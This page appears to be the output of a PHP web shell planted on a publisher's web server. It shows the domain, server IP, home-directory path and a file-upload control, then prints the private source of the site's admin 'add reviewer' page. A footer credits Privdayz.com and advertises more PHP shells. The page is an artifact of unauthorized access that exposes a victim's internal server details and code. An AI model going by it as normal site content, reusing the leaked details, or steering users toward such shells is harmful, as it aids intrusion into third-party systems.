Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/amberpublishers.in/public_html/admin/
Dosya Yükle :
Current File : /home/u866425823/domains/amberpublishers.in/public_html/admin/addreviewer.php

<?php
session_start();
require 'include/PHPHelper.php';
require 'include/db.php';
require_once 'include/functions.php';

// Define the variable for success or failure message
$message = '';
if (!isset($_SESSION['userID'])) {
    header("location: login.php");
} else {
    // Check if the form is submitted
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // Get the form data
        $name = $_POST['name'];
        $affiliation = $_POST['affiliation'];
        $email = $_POST['email'];

        // Add the reviewer to the database
        $addreviewer = addReviewer($conn, $name, $affiliation, $email);
        if ($addreviewer) {
            $message = 'Reviewer added successfully!';
        } else {
            $message = 'Error adding the reviewer.';
        }
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<?php
$title = "Add Reviewer || Amber Publishers";
include 'include/head.php';
?>

<body>
    <!-- ======= Header ======= -->
    <?php
    include 'include/header.php';
    ?>
    <!-- End Header -->

    <!-- ======= Sidebar ======= -->
    <?php
    include 'include/sidebar.php';
    ?>
    <!-- End Sidebar-->

    <main id="main" class="main">
        <div class="pagetitle">
            <h1>Add New Reviewer</h1>
            <nav>
                <ol class="breadcrumb">
                    <li class="breadcrumb-item"><a href="index.php">Dashboard</a></li>
                    <li class="breadcrumb-item active">Add Reviewer</li>
                </ol>
            </nav>
        </div><!-- End Page Title -->

        <section class="section">
            <div class="row">
                <div class="col-lg-12">
                    <div class="card">
                        <div class="card-body">
                            <div class="card-title">
                                <h5>Add Reviewer</h5>
                                <?php if ($message !== ''): ?>
                                    <div class="alert alert-success"><?php echo $message; ?></div>
                                <?php endif; ?>
                                <!-- Add Reviewer Form -->
                                <div class="form">
                                    <form method="POST" action="addreviewer.php">
                                        <div class="row mb-3">
                                            <label for="name" class="col-md-4 col-lg-3 col-form-label">Name:</label>
                                            <div class="col-md-8 col-lg-9">
                                                <input name="name" type="text" class="form-control" id="name" placeholder="Enter name">
                                            </div>
                                        </div>
                                        <div class="row mb-3">
                                            <label for="affiliation" class="col-md-4 col-lg-3 col-form-label">Affiliation:</label>
                                            <div class="col-md-8 col-lg-9">
                                                <input name="affiliation" type="text" class="form-control" id="affiliation" placeholder="Enter affiliation">
                                            </div>
                                        </div>
                                        <div class="row mb-3">
                                            <label for="email" class="col-md-4 col-lg-3 col-form-label">Email:</label>
                                            <div class="col-md-8 col-lg-9">
                                                <input name="email" type="email" class="form-control" id="email" placeholder="Enter email">
                                            </div>
                                        </div>
                                        <div class="row mt-3">
                                            <div class="text-center">
                                                <input type="submit" name="submit" id="submit" class="btn btn-primary col-lg-12" value="Add Reviewer">
                                            </div>
                                        </div>
                                    </form>
                                </div>
                                <!-- End Add Reviewer Form -->
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </section>
        <!-- End Section -->

    </main><!-- End #main -->

    <!-- ======= Footer ======= -->
    <?php include 'include/footer.php'; ?>
    <!-- End Footer -->

    <!-- ======= Scripts ======= -->
    <?php include 'include/scripts.php'; ?>
    <!-- End Scripts -->

</body>

</html>

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.